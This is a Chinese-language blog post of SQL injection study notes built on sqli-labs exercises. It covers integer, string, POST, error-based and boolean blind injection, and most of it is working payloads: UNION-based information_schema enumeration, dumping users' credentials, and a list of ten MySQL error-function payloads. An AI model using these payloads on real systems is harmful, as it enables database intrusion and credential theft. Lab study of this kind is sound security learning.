SQL注入学习笔记

爱吃芒果干Gem_JAyus

已于 2022-05-01 10:22:12 修改

阅读量2.5k

点赞数 3

分类专栏： sql注入文章标签： php

于 2022-04-20 14:07:51 首次发布

本文链接：https://blog.csdn.net/KSLI555/article/details/124295723

版权

sql注入专栏收录该内容

1 篇文章 0 订阅

订阅专栏

SQL注入精讲学习笔记

爱吃芒果干

前言

分类
1.按照请求方法

GET

POST

2.按照数据类型

整型

字符型

3.其他类型

报错注入

双注入

时间盲注

cookie注入

user-agent注入

第一节：整型注入less-2

步骤：

1.判断是否有注入：是否未严格校验

（1）可控参数的改变是否影响页面的显示结果

?id=1     
?id=2

(2) sql语句是否能报错：看到数据库语句痕迹

?id=1'

（3）sql语句是否不报错：语句是否成功闭合

?id=1 #或者--+

2.什么类型注入

3.语句是否能被恶意修改

?id=1 and 0

4.是否能成功执行

获取数据信息
数据库——表——字段——值

information_schema库中关键的三个表
schema:所有数据库名
table：所有表
column：所有字段名

查询列数

?id=1 union select 1,2,3 %23    (枚举12345...   %23为#）查询成功说明有三列

若列数很多，用排序语句 (先用order by 1看是否被过滤）

?id=1 order by 3 %23

查询user，database

？id=2132412 union select 1，user(),3  %23    (让前一条语句不显示,使用不存在的数或者加and 0 ）

？id=2132412 union select 1，database（）,3  %23

查询所有数据库group_concat()

?id=121343 union select 1,2,group_concat(schema_name) from information_schema.schemata%23     (group_concat()拼接所有列）

查询所有表

?id=121343 union select 1,2,group_concat(table_name) from information_schema.tables

查询当前数据库的所有表

在后面再加上 where table_schema=database()

查询user表的所有字段

?id=121343 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23

查询想要的信息

?id=121343 union select 1,username,password from security.users%23

拼接所有内容展示concat_ws()

?id=121343 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users%23

第二节：字符注入（单引号，双引号，括号） less-1（单引号)

发现报错 ‘‘1’’ LIMIT 0,1’ at line 1

?id=1’
less-4（双引号,括号)

发现报错’“1"”) LIMIT 0,1’ at line 1

?id=1"
闭合（

?id=1"）%23

2.2：POST注入less-11

发现报错 ‘’‘’ and password=‘’ LIMIT 0,1’ at line 1

user ’
password
查询语句

select 1 from users where username= ’ ’ password=?

让其为真执行查询

select 1 from users where username= ’ ’ or 1 # ’ password=?

在username框输入

’ or 1 #
或者post

uname=’ or 1 %23&passwd=123
或者bp抓包

send to repeater

第三节：报错注入less-11

报错函数

1. extractvalue():从目标XML中返回包含所查询值的字符串

EXTRACTVALUE (XML_document,XPath_string);

XML_document参数：是string格式，为XML文档对象的名称，文中为Doc

XPath_string参数：是XPath格式的字符串

concat：返回结果为连接参数产生的字符串

2. updatexml()

UPDATEXML(XML_document,XPath_string,new_value);

new_value参数：是string格式，替换查找到的符合条件的数据

extractvalue() (0x7e为~）

uname=’ union select 1,extractvalue(1, concat(0x7e,(select version())))%23 &passwd=12132
将version（）改为想查询的值，太多使用limit 0，1显示

updatexml()

uname=’ union select 1,updatexml(1, concat(0x7e,(select version())),1)%23 &passwd=12132
floor(rand(0)*2)报错

看不懂也放篇文章在这里呜呜（菜鸡落泪

Mysql报错注入之floor(rand(0)*2)报错原理探究 - FreeBuf网络安全行业门户

uname=’ union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version()) %23&passwd=213

常见十大报错函数

1.floor()

id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)；

2.extractvalue()

id = 1 and (extractvalue(1, concat(0x5c,(select user()))));

3.updatexml()

id = 1 and (updatexml(0x3a,concat(1,(select user())),1));

4.exp()

id =1 and EXP(~(SELECT * from(select user())a));

5.GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b));

6.polygon()

id =1 and polygon((select * from(select * from(select user())a)b));

7.multipoint()

id = 1 and multipoint((select * from(select * from(select user())a)b));

8.multilinestring()

id = 1 and multilinestring((select * from(select * from(select user())a)b));

9.linestring()

id = 1 and LINESTRING((select * from(select * from(select user())a)b));

10.multipolygon()

id =1 and multipolygon((select * from(select * from(select user())a)b));

第四节：二次注入less-11

稍后更新

第五节：布尔盲注less-5

分析：?id=1’ or 0/1 %23 利用0/1盲注

substr( ，，)用法:截取字符串

ascii 128 chr（）

?id=1’ or (select asscii(substr(tablename,2,1)) from informationschema.tables where table_schema=database() limit 0,1) =128 %23
1.=比对

2.二分法><比对

3.bp抓包(cluster)

1-?;1-128=比对

数据库长度 1 and (length(database()))比对
数据库名称 1 and ascii(substr(database(),1,1))比对
表的数目 1 and (select count(table_name) from information_schema.tables
where table_schema=database())比对
表的名称 1 and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))比对
字段名 1 and ascii(substr((select column_name from information_schema.columns
where table_name=‘flag’),1,1))